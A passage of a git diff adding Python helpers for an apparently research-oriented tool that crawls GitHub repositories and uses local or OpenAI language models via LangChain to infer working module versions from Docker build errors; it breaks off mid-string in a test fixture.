+                                        # import_name = self.dot_notation(stripped[i+1], folders)
+                                        # if import_name:
+                                        #     if 'models' in stripped:
+                                        #         print(stripped)
+                                        #         print('woof')
+                                        imports = self.append_to_list(imports, stripped[i+1])
+                                    elif i > 0 and stripped[i] == 'import':
+                                        if self.logging: print(f"B: {stripped}")
+                                        # if stripped[i-1] == '': print(f"BAD_WORD: {file_path}")
+                                        # import_name = self.dot_notation(stripped[i-1], folders)
+                                        # if import_name:
+                                        #     if 'models' in stripped:
+                                        #         print(stripped)
+                                        #         print('meow')
+                                        #     if import_name.istitle():
+                                        #         pass
+                                        #     else:
+                                        imports = self.append_to_list(imports, stripped[i-1])
+
+        except FileNotFoundError:
+            print(f"File not found: {file_path}")
+        except Exception as e:
+            print(f"An error occurred: {e}")
+        return imports
diff --git a/tools/custom_pllm/helpers/github_cruiser_core.py b/tools/custom_pllm/helpers/github_cruiser_core.py
new file mode 100644
index 00000000..b6dcdb76
--- /dev/null
+++ b/tools/custom_pllm/helpers/github_cruiser_core.py
@@ -0,0 +1,103 @@
+import subprocess
+import json
+import requests
+import time
+
+class GithubCruiserCore:
+    
+    def __init__(self, logging=False) -> None:
+        self.logging = logging
+    
+    # Calls the subprocess command to run a specific command line tool
+    # Returns both the standard message as well as error messages
+    # These are separate for validation
+    def call_subprocess(self, cmd=""):
+        try:
+            if self.logging: print(f"calling process: {cmd}")
+            limit_reached = True
+            process = None
+            while limit_reached:
+                process = subprocess.run(
+                    cmd,
+                    shell=True,
+                    stdout = subprocess.PIPE,
+                    stderr = subprocess.PIPE,
+                    universal_newlines = True
+                )
+                if self.logging: print(process.stdout)
+                
+                # Check to see if we've reached our API limit and sleep for 5 minutes if we have
+                if 'API rate limit exceeded' in process.stdout:
+                    time.sleep(300)
+                else:
+                    # Set limit reached to False as we're good to progress still
+                    limit_reached = False
+            # Return the process details
+            return process
+        except Exception as e:
+            print(e)
+
+    def file_exists(self, file_name):
+        files_to_look_for = [
+            'requirements.txt',
+            'Requirements.txt',
+            'REQUIREMENTS.txt',
+            'Pipfile',
+            'setup.py',
+            'Setup.py',
+            'SETUP.py',
+        ]
+        found = False
+        if file_name in files_to_look_for:
+            found = True
+        return found, file_name
+
+    # Find files- Given a list of files from parsed json
+    # Loop through to see if the file we're looking for exists
+    # If it's a directory, store the name for further checks
+    # Return if we found a file and the directories
+    def find_files(self, list_of_files):
+        directory = []
+        found = False
+        file_name = ''
+        for file in list_of_files:
+            if self.logging: print(f"file: {file['name']}")
+            if 'dir' in file['type']:
+                directory.append(file['name'])
+            else:
+                found, file_name = self.file_exists(file['name'])
+            if found: break
+        return found, directory, file_name
+
+    # Call the given subprocess and load it as JSON
+    # Return the converted JSON output to a usable dict
+    def call_process_convert_json(self, file_name, process):
+        try:
+            # print("calling process")
+            contents = self.call_subprocess(process)
+        except Exception as e:
+            print(contents.stderr)
+            print(e)
+        
+        return json.loads(contents.stdout)
+    
+    def load_json_from_file(self, file):
+        open_file = open(file)
+        return json.load(open_file)
+    
+    def get_repo_api_data(self, repo):
+        # Make a GET request to the GitHub API
+        repo_url = f"https://api.github.com/repos/{repo}"
+        
+        response = requests.get(repo_url)
+
+        repo_data = None
+        # Check if the request was successful (status code 200)
+        if response.status_code == 200:
+            # Parse the JSON response
+            repo_data = response.json()
+        else:
+            print(f"Error: {response.status_code}")
+            print(response.text)
+        
+        return repo_data
diff --git a/tools/custom_pllm/helpers/ollama_helper_base.py b/tools/custom_pllm/helpers/ollama_helper_base.py
new file mode 100644
index 00000000..c7502642
--- /dev/null
+++ b/tools/custom_pllm/helpers/ollama_helper_base.py
@@ -0,0 +1,25 @@
+# Base file for Ollama helper
+# Holds the strings needed for requests
+
+from langchain_community.chat_models import ChatOllama
+# from langchain_community.chat_models import ChatOpenAI
+from langchain_openai import ChatOpenAI
+from dotenv import load_dotenv
+import os
+
+class OllamaHelperBase():
+    
+    def __init__(self, base_url="http://localhost:11434", model='llama3', temp=0.7, logging=False) -> None:
+        self.logging = logging
+        if 'gpt' in model:
+            load_dotenv()
+            OPENAI_KEY = os.getenv('OPENAI_KEY')
+            self.model = ChatOpenAI(model=model, api_key=OPENAI_KEY, temperature=temp)
+        else:
+            self.model = ChatOllama(base_url=base_url, model=model, format="json", temperature=temp)
+    
+    # Reads the contents of the given file
+    def read_python_file(self, file):
+        with open(file, 'r') as file:
+            data = file.read().replace('\n', '')
+        return data
\ No newline at end of file
diff --git a/tools/custom_pllm/helpers/ollama_helper_tester.py b/tools/custom_pllm/helpers/ollama_helper_tester.py
new file mode 100644
index 00000000..bb272bec
--- /dev/null
+++ b/tools/custom_pllm/helpers/ollama_helper_tester.py
@@ -0,0 +1,643 @@
+# Ollama helper, handles requests.
+# TESTER FILE FOR PLAYING WITH NEW IDEAS
+import argparse
+import re
+
+from helpers.ollama_helper_base import OllamaHelperBase
+from helpers.py_pi_query import PyPIQuery
+
+from langchain_core.messages import SystemMessage, HumanMessage
+
+from pydantic import BaseModel, Field
+from typing import Dict, List
+from langchain_core.output_parsers import JsonOutputParser
+
+from langchain_core.prompts import ChatPromptTemplate
+from langchain_core.prompts import PromptTemplate
+
+# PYDANTIC classes for JSON output
+class Module(BaseModel):
+    module: str = Field(description="Name of the module")
+
+class ModuleVersion(BaseModel):
+    module: str = Field(description="Name of the module")
+    version: str = Field(description="The version of the module to use")
+
+class PythonModules(BaseModel):
+    python_modules: Dict[str, ModuleVersion]
+
+class PythonFile(BaseModel):
+    python_version: str = Field(description="Name of the Python version required for this file")
+    python_modules: List[str]
+
+class ModuleVersions(BaseModel):
+    module_versions: List[str] = Field(description="List of Module versions")
+
+# Main Ollama helper class
+class OllamaHelper(OllamaHelperBase):
+    # Init defines the url to the Ollama API, the model, temp, logging and where the module information is stored
+    def __init__(self, base_url="http://localhost:11434", model='llama3', temp=1.0, logging=False, base_modules='./modules', rag=True) -> None:
+        super().__init__(base_url, model, temp, logging)
+        self.base_modules = base_modules
+        self.rag = rag
+        self.pypi = PyPIQuery(logging=logging, base_modules=base_modules)
+
+    """_summary_
+    Validates the json from the model using pydantic to parse it
+    This validates against the same schema used when calling the model
+    """
+    def pydantic_validate(self, model, json):
+        try:
+            model.parse_obj(json)
+            return True
+        except Exception as e:
+            return False
+
+
+    # Initial Python file handler, gets first set of modules and Python version
+    def evaluate_file(self, python_file):
+        raw_file = self.read_python_file(python_file)
+        
+        parser = JsonOutputParser(pydantic_object=PythonFile)
+
+        prompt = PromptTemplate(
+            template="Given a python file:{raw_file}\nReturn just a list of Python modules and python version required to run. Output JSON based on the schema {format_instructions}",
+            input_variables=[],
+            partial_variables={"raw_file": raw_file, "format_instructions": parser.get_format_instructions()}
+        )
+        
+        chain = prompt | self.model | parser
+
+        out = chain.invoke({})
+        
+        print(out)
+        return out
+
+
+    # Gets the details for the modules
+    def get_module_specifics(self, llm_eval):
+        # Uses the modules from the LLM output to get a specific set of versions for the inferred Python version
+        # Also returns an updated python version, based on what the model had provided
+        llm_eval['python_modules'], llm_eval['python_version'] = self.pypi.get_module_specifics(llm_eval)
+        
+        module_versions = self.get_module_versions(llm_eval)
+        llm_eval['python_modules'] = module_versions
+
+        return llm_eval
+
+    # Loops through the modules and request a version for each
+    def get_module_versions(self, details):
+        modules = details['python_modules']
+
+        if len(modules) <= 0:
+            return {}
+        
+        # Define the parser
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        updated_modules = {}
+
+        attempts = 5
+        completed = False
+        # Loop to ensure we get a version.
+        # If the LLM returns a bad version or bad information then we need to loop and try again
+        while not completed:
+            try:
+                for idx, module in enumerate(modules):
+                    versions = self.read_python_file(f"{self.base_modules}/{module}_{details['python_version']}.txt")
+
+                    tp = "From the comma-separated list of available versions: '{version_details}' for the '{module}' module, select the LATEST version that is compatible with Python {python_version}.\nReturn the information with the format {format_instructions}"
+                    pv = {"version_details": versions, "module": module, "python_version": details['python_version'], "format_instructions": parser.get_format_instructions()}
+                    if self.rag:
+                        tp = "Given a comma separated list of available versions: '{version_details}', for the '{module}' module, from oldest to newest.\nSelect the LATEST version for us to use that isn't previously used: 'Previously used: {previous}', and return the information with the format {format_instructions}"
+                        pv = {"version_details": versions, "module": module, "previous": [], "format_instructions": parser.get_format_instructions()}
+
+                    prompt = PromptTemplate(
+                        template=tp,
+                        input_variables=[],
+                        partial_variables=pv
+                    )
+
+                    chain = prompt | self.model | parser
+
+                    out = chain.invoke({})
+
+                    updated_modules[out['module']] = out['version'].split(' ')[0]
+                completed = True
+            except Exception as e:
+                completed = False
+                attempts -= 1
+            
+            if attempts <= 0:
+                print("Failed to find versions")
+                exit(0)
+
+        print(updated_modules)
+
+        return updated_modules
+
+
+    # NOTE: Deprecated, update instances that use this!
+    def execute_chain(self, chain, pydantic_model):
+        loop = 5
+        passed = False
+        
+        while not passed or loop > 0:
+            out = chain.invoke({})
+            if self.logging: print(out)
+            passed = self.pydantic_validate(pydantic_model, out)
+            if passed: return passed, out
+            loop -= 1
+        
+        return passed, None
+        
+    # Ensures the version details are correct
+    def is_valid_version(self, version):
+        # Regular expression pattern to match versions like 1.0, 1.0.0, 1.0.0rc1, etc.
+        pattern = r"^\d+(\.\d+){1,2}([a-zA-Z0-9]+)?$"
+        
+        # Check if the version matches the pattern
+        return bool(re.match(pattern, version))
+
+    # Generic method to get the details from the error
+    # Takes the prompt from the the error handler and the parser to ensure the information is returned correctly
+    def generic_get_module_from_error(self, prompt, parser):
+
+        bad_module = None
+
+        # Loop to ensure the model returns a decent response from the error message
+        # We want it to extract a module name which we can work with later
+        for loop in range(0, 5):
+            try:
+                chain = prompt | self.model | parser
+
+                out = chain.invoke({})
+                # Get the name of the offending module from the error message        
+                bad_module = self.pypi.check_module_name(out['module'])[0]
+
+                if bad_module: break
+            except Exception as e:
+                print(f'could not find version: Error getting module name from error: {e}')
+
+        return bad_module
+
+    # Generic method to prompt for a version
+    # Uses the targeted prompt and parser plus the previous failing versions
+    def generic_get_version_with_bad_modules(self, prompt, parser, previous_versions):
+        out = None
+
+        for loop in range(0, 5):
+            try:
+                chain = prompt | self.model | parser
+
+                out = chain.invoke({})
+
+                print(out)
+
+                # If the same version is chosen by the model then there's a chance the module is exhausted
+                # We should remove and only re-add if requested during build.
+                for version in previous_versions.split(', '):
+                    if version == out['version']:
+                        out = None
+                            
+                if out['version'] == None or self.is_valid_version(out['version']): return out
+                # return out
+            except Exception as e:
+                print(f'could not find version: Error getting versions from error message: {e}')
+        
+        for version in previous_versions.split(', '):
+            if version == out['version']:
+                out['version'] = None
+
+        return out
+
+
+    # Generic method for multiple occasions
+    # Gets the module versions from file as well as the error_modules.
+    def get_versions_previous_versions(self, bad_module, previous_versions, details):
+        versions = self.pypi.read_module_file(bad_module, details['python_version'])
+
+        error_modules = ''
+        if bad_module in previous_versions['error_modules']:
+            error_modules = ', '.join(previous_versions['error_modules'][bad_module])
+        else:
+            error_modules = ''
+        
+        if bad_module in details['python_modules']:
+            error_modules += f"{details['python_modules'][bad_module]}" if error_modules == '' else f", {details['python_modules'][bad_module]}"
+        
+        return versions, error_modules
+
+
+    def could_not_find_version(self, error, previous_versions, details):
+        parser = JsonOutputParser(pydantic_object=Module)
+        get_module_prompt = PromptTemplate(
+                    template="Given a docker build error where a version could not be found:\n{error}\nIdentify the module causing the error, which is likely in the form 'from module_name==version'.\nReturn the just the name of the module using the format instructions.\n{format_instructions}",
+                    input_variables=[],
+                    partial_variables={"error": error, "format_instructions": parser.get_format_instructions()}
+                )
+        
+        # Generic method for handling a try loop for getting a module name
+        bad_module = self.generic_get_module_from_error(get_module_prompt, parser)
+        # If we failed to get a module then we return None
+        if bad_module == None: return bad_module
+
+        versions, error_modules = self.get_versions_previous_versions(bad_module, previous_versions, details)
+
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        tp = "Given a could not find a version error for the '{module}' module:\n{error}\nInfer a possible working version for Python {python_version}.\nReturn the information with the format {format_instructions}, use None for version if no version could be found!"
+        pv = {"module": bad_module, "error": error, "python_version": details['python_version'], "format_instructions": parser.get_format_instructions()}
+        if self.rag:
+            tp = "Given a could not find a version error for the '{module}' module:\n{error}\nExcluding previous versions: ({previous_versions}), perform a distributed search over the recommended versions in the error message!\nReturn the information with the format {format_instructions}, use None for version if no version could be found!"
+            pv = {"module": bad_module, "error": error, "previous_versions": error_modules, "format_instructions": parser.get_format_instructions()}
+
+        get_version_prompt = PromptTemplate(
+                # template="Given a set of versions from oldest to newest ({versions}) for the '{module}' module. Perform a distributed search to retrieve a new version, excluding previously used versions ({previous_versions}).\nReturn the information with the format {format_instructions}",
+                # template="Given a could not find a version error for the '{module}' module:\{error}\nFrom the error message and excluding previous versions: ({previous_versions}), locate and select a random version, which would be in the form 'from versions: version'. \nReturn the information with the format {format_instructions} using None as version if no version was found.",
+                template=tp,
+                input_variables=[],
+                partial_variables=pv
+            )
+        
+        out = self.generic_get_version_with_bad_modules(get_version_prompt, parser, error_modules)
+
+        if out['module'] != bad_module:
+            parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+            tp = "Infer a possible working version of the '{module}' module for Python {python_version}.\nReturn the information with the format {format_instructions}"
+            pv = {"module": bad_module, "python_version": details['python_version'], "format_instructions": parser.get_format_instructions()}
+            if self.rag:
+                tp = "Excluding previous versions: ({previous_versions}). Perform a distributed search over the '{module}' module versions: {versions}, selecting one to install.\nReturn the information with the format {format_instructions}"
+                pv = {"versions": versions, "module": bad_module, "previous_versions": error_modules, "format_instructions": parser.get_format_instructions()}
+
+            get_version_prompt = PromptTemplate(
+                # template="Given a set of versions from oldest to newest ({versions}) for the '{module}' module. Perform a distributed search to retrieve a new version, excluding previously used versions ({previous_versions}).\nReturn the information with the format {format_instructions}",
+                template=tp,
+                input_variables=[],
+                partial_variables=pv
+            )
+        
+            out = self.generic_get_version_with_bad_modules(get_version_prompt, parser, error_modules)
+
+        if 'module' in out and 'version' in out:
+            return out
+        else:
+            return None
+        
+
+    def dependency_conflict(self, error):
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        prompt = PromptTemplate(
+            template="Given a dependency conflict error:\n{error}\nReturn the module and a working version that would fix the error using the format {format_instructions}",
+            input_variables=[],
+            partial_variables={"error": error, "format_instructions": parser.get_format_instructions()}
+        )
+
+        chain = prompt | self.model | parser
+
+        passed, json_out = self.execute_chain(chain, ModuleVersion)
+        
+        print(json_out)
+        return json_out
+    
+
+    def import_error(self, error, previous_versions, details):
+        parser = JsonOutputParser(pydantic_object=Module)
+        get_module_prompt = PromptTemplate(
+                    template="Given an ImportError:\n{error}\n Identify the import which is causing the error.\nFor this type of error, the module is normally in the text 'from x import y', where x and y are the module to import and the offending method.\nReturn the name of the module using the format instructions.\n{format_instructions}",
+                    input_variables=[],
+                    partial_variables={"error": error, "format_instructions": parser.get_format_instructions()}
+                )
+        
+        # Generic method for handling a try loop for getting a module name
+        bad_module = self.generic_get_module_from_error(get_module_prompt, parser)
+        # If we failed to get a module then we return None
+        if bad_module == None: return bad_module
+
+        versions, error_modules = self.get_versions_previous_versions(bad_module, previous_versions, details)
+
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        tp = "Infer a possible working version of the '{module}' module for Python {python_version}.\nReturn the information with the format {format_instructions}"
+        pv = {"error": error, "module": bad_module, "python_version": details['python_version'], "format_instructions": parser.get_format_instructions()}
+        if self.rag:
+            tp = "Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest:\n{module_versions}\nPerform equally distanced sampling to return a version from the given versions, excluding previously used versions ({previous_versions}).\nReturn the information with the format {format_instructions}"
+            pv = {"error": error, "module": bad_module, "module_versions": versions, "previous_versions": error_modules, "format_instructions": parser.get_format_instructions()}
+            
+        get_version_prompt = PromptTemplate(
+                template=tp,
+                input_variables=[],
+                partial_variables=pv
+            )
+        
+        out = self.generic_get_version_with_bad_modules(get_version_prompt, parser, error_modules)
+
+        if 'module' in out and 'version' in out:
+            return out
+        else:
+            return None
+
+
+    def module_not_found(self, error, previous_versions, details):
+        parser = JsonOutputParser(pydantic_object=Module)
+        get_module_prompt = PromptTemplate(
+                    template="Given a ModuleNotFound:\n{error}\nIdentify the module being imported which is causing this error.\nReturn the name of the module using the format instructions.\n{format_instructions}",
+                    # template="Given an AttributeError:\n{error}\n Use your knowledge of Python to identify which of the existing modules ({python_modules}) is causing the error.\nReturn the name of the module using the format instructions.\n{format_instructions}",
+                    input_variables=[],
+                    partial_variables={"error": error, "format_instructions": parser.get_format_instructions()}
+                )
+        
+        # Generic method for handling a try loop for getting a module name
+        bad_module = self.generic_get_module_from_error(get_module_prompt, parser)
+        # If we failed to get a module then we return None
+        if bad_module == None: return bad_module
+
+        versions, error_modules = self.get_versions_previous_versions(bad_module, previous_versions, details)
+
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        tp = "Infer a possible working version of the '{module}' module for Python {python_version}.\nReturn the information with the format {format_instructions}"
+        pv = {"error": error, "module": bad_module, "python_version": details['python_version'], "format_instructions": parser.get_format_instructions()}
+        if self.rag:
+            tp = "Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest:\n{module_versions}\nPerform equally distanced sampling to return a version from the given versions, excluding previously used versions ({previous_versions}). Return the information with the format {format_instructions}"
+            pv = {"error": error, "module": bad_module, "module_versions": versions, "previous_versions": error_modules, "format_instructions": parser.get_format_instructions()}
+
+        get_version_prompt = PromptTemplate(
+                # template="Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest:\n{module_versions}\nExcluding previously used versions:\n{previous_versions}\nSelect a version from the other side of the version list, depending on the last previous version. Return the information with the format {format_instructions}",
+                template=tp,
+                input_variables=[],
+                partial_variables=pv
+            )
+        
+        out = self.generic_get_version_with_bad_modules(get_version_prompt, parser, error_modules)
+
+        if 'module' in out and 'version' in out:
+            return out
+        else:
+            return None
+        
+
+    def attribute_error(self, error, previous_versions, details):
+        python_modules = []
+        for module in details['python_modules']:
+            python_modules.append(module)
+
+        parser = JsonOutputParser(pydantic_object=Module)
+        get_module_prompt = PromptTemplate(
+                    template="Given an AttributeError:\n{error}\n Use your knowledge of Python to identify which of the existing modules ({python_modules}) is causing the error.\nReturn the name of the module using the format instructions.\n{format_instructions}",
+                    input_variables=[],
+                    partial_variables={"error": error, 'python_modules': ', '.join(python_modules), "format_instructions": parser.get_format_instructions()}
+                )
+        
+        # Generic method for handling a try loop for getting a module name
+        bad_module = self.generic_get_module_from_error(get_module_prompt, parser)
+        # If we failed to get a module then we return None
+        if bad_module == None: return bad_module
+
+        versions, error_modules = self.get_versions_previous_versions(bad_module, previous_versions, details)
+
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        tp = "Given an AttributeError for the '{module}' module: {error}\nIf you know a version that would fix this error, then return this for Python {python_version}.\nReturn the information with the format {format_instructions}"
+        pv = {"error": error, "module": bad_module, "python_version": details['python_version'], "format_instructions": parser.get_format_instructions()}
+        if self.rag:
+            tp = "Given an AttributeError for the '{module}' module: {error}\nIf you know a version that would fix this error, then return this, otherwise perform equally distanced sampling to return a version from the given versions ({module_versions}).\nDO NOT return any previous ({previous_versions})!\nReturn JSON using format {format_instructions}"
+            pv = {"error": error, "module": bad_module, "python_version": details['python_version'], "module_versions": versions, "previous_versions": error_modules, "format_instructions": parser.get_format_instructions()}
+
+        get_version_prompt = PromptTemplate(
+                # template="Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest:\n{module_versions}\nExcluding previously used versions:\n{previous_versions}\nSelect a version from the other side of the version list, depending on the last previous version. Return the information with the format {format_instructions}",
+                # template="Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest:\n{module_versions}\nExcluding previously used versions:\n{previous_versions}\nIf you know a version that would fix this error, then return this.\nOtherwise perform equally distanced sampling to return a version from the given versions. Return the information with the format {format_instructions}",
+                template=tp,
+                input_variables=[],
+                partial_variables=pv
+            )
+        
+        out = self.generic_get_version_with_bad_modules(get_version_prompt, parser, error_modules)
+
+        if 'module' in out and 'version' in out:
+            return out
+        else:
+            return None
+
+
+    def invalid_version(self, error):
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        prompt = PromptTemplate(
+            template="Given a docker invalid versions error\n{error}\nReturn the Python module (not pip) and a working version that would fix the error using the format {format_instructions}",
+            input_variables=[],
+            partial_variables={"error": error, "format_instructions": parser.get_format_instructions()}
+        )
+
+        chain = prompt | self.model | parser
+
+        passed, json_out = self.execute_chain(chain, ModuleVersion)
+        
+        print(json_out)
+        return json_out
+    
+
+    def non_zero_error(self, error):
+        parser = JsonOutputParser(pydantic_object=Module)
+
+        get_module_prompt = PromptTemplate(
+            template="Given a docker build non-zero error:\n{error}\n Identify the module which failed to install with pip, this will typically be in the form module==version, where module is the module we want.\nReturn the name of the module using the format instructions.\n{format_instructions}",
+            input_variables=[],
+            partial_variables={"error": error, "format_instructions": parser.get_format_instructions()}
+        )
+        
+        # Generic method for handling a try loop for getting a module name
+        bad_module = self.generic_get_module_from_error(get_module_prompt, parser)
+
+        return bad_module
+    
+
+    def non_zero_error_version(self, error, module, previous_versions, details):
+        versions, error_modules = self.get_versions_previous_versions(module, previous_versions, details)
+
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        tp = "Infer a possible working version of the '{module}' module for Python {python_version}.\nReturn the information with the format {format_instructions}"
+        pv = {"error": error, "module": module, "python_version": details['python_version'], "format_instructions": parser.get_format_instructions()}
+        if self.rag:
+            tp = "Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest ({module_versions})\nPerform equally distanced sampling to return a version from the given versions, excluding previously used versions ({previous_versions}). Return the information with the format {format_instructions}"
+            pv = {"error": error, "module": module, "python_version": details['python_version'], "module_versions": versions, "previous_versions": error_modules, "format_instructions": parser.get_format_instructions()}
+
+        get_version_prompt = PromptTemplate(
+            # template="Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest:\n{module_versions}\nPerform equally distanced sampling to return a version from the given versions, excluding previously used versions ({previous_versions}). Return the information with the format {format_instructions}",
+                template=tp,
+                # template="Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest ({module_versions})\nExcluding previously used versions ({previous_versions}), Select a version from the other side of the version list, depending on the last previous version. Return the information with the format {format_instructions}",
+                # template="Given a Non Zero Error message for the '{module}' Python module. Perform random sampling from the given versions ({module_versions}), excluding any previously used versions ({previous_versions}). Ensure the new version is different from the last previous version.\nReturn the information with the format {format_instructions}",
+                input_variables=[],
+                partial_variables=pv
+            )
+        
+        out = self.generic_get_version_with_bad_modules(get_version_prompt, parser, error_modules)
+
+        if 'module' in out and 'version' in out:
+            return out
+        else:
+            return None
+
+
+    def syntax_error_helper(self, error, previous_versions, details):
+        parser = JsonOutputParser(pydantic_object=Module)
+        get_module_prompt = PromptTemplate(
+                    template="Given a Docker build error message: {error}\nIdentify the offending Python module and output the module name using the following format instruction {format_instructions}.",
+                    input_variables=[],
+                    partial_variables={"error": error, "format_instructions": parser.get_format_instructions()}
+                )
+        
+        # Generic method for handling a try loop for getting a module name
+        bad_module = self.generic_get_module_from_error(get_module_prompt, parser)
+        # If we failed to get a module then we return None
+        if bad_module == None: return bad_module
+
+        versions, error_modules = self.get_versions_previous_versions(bad_module, previous_versions, details)
+
+        parser = JsonOutputParser(pydantic_object=ModuleVersion)
+
+        tp = "Infer a possible working version of the '{module}' module for Python {python_version}.\nReturn the information with the format {format_instructions}"
+        pv = {"error": error, "module": bad_module, "python_version": details['python_version'], "format_instructions": parser.get_format_instructions()}
+        if self.rag:
+            tp = "Given a comma separated list of 'Module versions' for the '{module}' module, from oldest to newest:\n{module_versions}\nExcluding previously used versions:\n{previous_versions}\nSelect a version from the other side of the version list, depending on the last previous version. Return the information with the format {format_instructions}"
+            pv = {"error": error, "module": bad_module, "python_version": details['python_version'], "module_versions": versions, "previous_versions": previous_versions, "format_instructions": parser.get_format_instructions()}
+
+        get_version_prompt = PromptTemplate(
+                template=tp,
+                input_variables=[],
+                partial_variables=pv
+            )
+        
+        out = self.generic_get_version_with_bad_modules(get_version_prompt, parser, error_modules)
+
+        if 'module' in out and 'version' in out:
+            return out
+        else:
+            return None
+ 
+
+    # Process error, makes sure we call the correct method to call the LLM with
+    def process_error(self, message, error_details, llm_eval):
+        error_type = None
+        output = None
+        
+        if 'Could not find a version' in message:
+            if self.logging: print("Could not find a version")
+            error_type = 'VersionNotFound'
+            output = self.could_not_find_version(message, error_details, llm_eval)
+        elif 'dependency conflicts' in message:
+            if self.logging: print("Dependency conflict")
+            error_type = 'DependencyConflict'
+            output = self.dependency_conflict(message)
+        elif 'ImportError' in message:
+            if self.logging: print('Import Error')
+            error_type = 'ImportError'
+            if 'DJANGO_SETTINGS_MODULE is undefined' in message:
+                output = None
+            else:
+                output = self.import_error(message, error_details, llm_eval)
+        elif 'ModuleNotFoundError' in message:
+            if self.logging: print("Module not found")
+            error_type = 'ModuleNotFound'
+            output = self.module_not_found(message, error_details, llm_eval)
+        elif 'AttributeError' in message:
+            if self.logging: print("Attribute error")
+            error_type = 'AttributeError'
+            output = self.attribute_error(message, error_details, llm_eval)
+        elif 'InvalidVersion' in message:
+            if self.logging: print('Invalid Version')
+            error_type = 'InvalidVersion'
+            output = self.invalid_version(message)
+        elif 'non-zero code' in message: # Docker specific error message
+            if self.logging: print('Non-zero error code from docker build')
+            error_type = 'NonZeroCode'
+            output = self.non_zero_error(message)
+            output = self.non_zero_error_version(message, output, error_details, llm_eval)
+        elif 'SyntaxError' in message:
+            if self.logging: print('Syntax Error: Python specific error that needs more information')
+            error_type = 'SyntaxError'
+            output = self.syntax_error_helper(message, error_details, llm_eval)
+        else:
+            if self.logging: print('No error type found')
+            error_type = 'None'
+
+        return output, error_type
+
+# Handle argument parsing
+def process_args():
+    def str2bool(value):
+        """Convert a string representation of a boolean to an actual boolean value."""
+        if isinstance(value, bool):
+            return value
+        if value.lower() in ('yes', 'true', 't', 'y', '1'):
+            return True
+        elif value.lower() in ('no', 'false', 'f', 'n', '0'):
+            return False
+        else:
+            raise argparse.ArgumentTypeError(f'Boolean value expected, got "{value}".')
+        
+    parser = argparse.ArgumentParser(description='File to evaluate')
+    parser.add_argument('-f', '--file', type=str, help="The full path and name of the file to evaluate")
+    parser.add_argument('-b', '--base', type=str, nargs="?", default='http://localhost:11434', const='http://localhost:11434', help="The ollama URL can vary depending on the system")
+    parser.add_argument('-m', '--model', type=str, nargs="?", default='phi3:medium', const='phi3:medium', help="The name of the model to use for evaluation")
+    parser.add_argument('-t', '--temp', type=str, nargs="?", default='0.7', const='0.7', help="The temperature for the models predictive output. Typically a range from 0-2, default is 0.7")
+    parser.add_argument('-l', '--loop', type=int, nargs="?", default=5, const=5, help="How many times we will loop to find a solution")
+    parser.add_argument('-r', '--range', type=int, nargs="?", default=0, const=0, help="The search range, expands out above and below the found Python version, defaults to 0")
+    parser.add_argument('-ra', '--rag', type=str2bool, nargs="?", default=True, const=True, help="Flag to enable RAG in the system.")
+    parser.add_argument('-v', '--verbose', action="store_true", help="Verbose logging of information")
+    return parser.parse_args()
+
+def main():
+    args = process_args()
+    file_path = '/'.join(args.file.split('/')[:-1])
+    # ollama_helper = OllamaHelper(model='gpt-4o-2024-05-13', logging=True)
+    ollama_helper = OllamaHelper(base_url=args.base, model=args.model, logging=True, temp=args.temp, base_modules=file_path+"/modules")
+
+    meow = {'python_version': '2.7', 'python_modules': {'sqlalchemy': '1.4.49', 'redis': '3.5.3', 'requests': '2.27.1', 'python-memcached': '1.62'}}
+
+    syntaxerror = """
+Traceback (most recent call last):
+  File "/app/snippet.py", line 6, in <module>
+    import memcache
+  File "/usr/local/lib/python2.7/site-packages/memcache.py", line 374
+    def quit_all(self) -> None:
+                       ^
+SyntaxError: invalid syntax
+"""
+
+    could_not_error = """
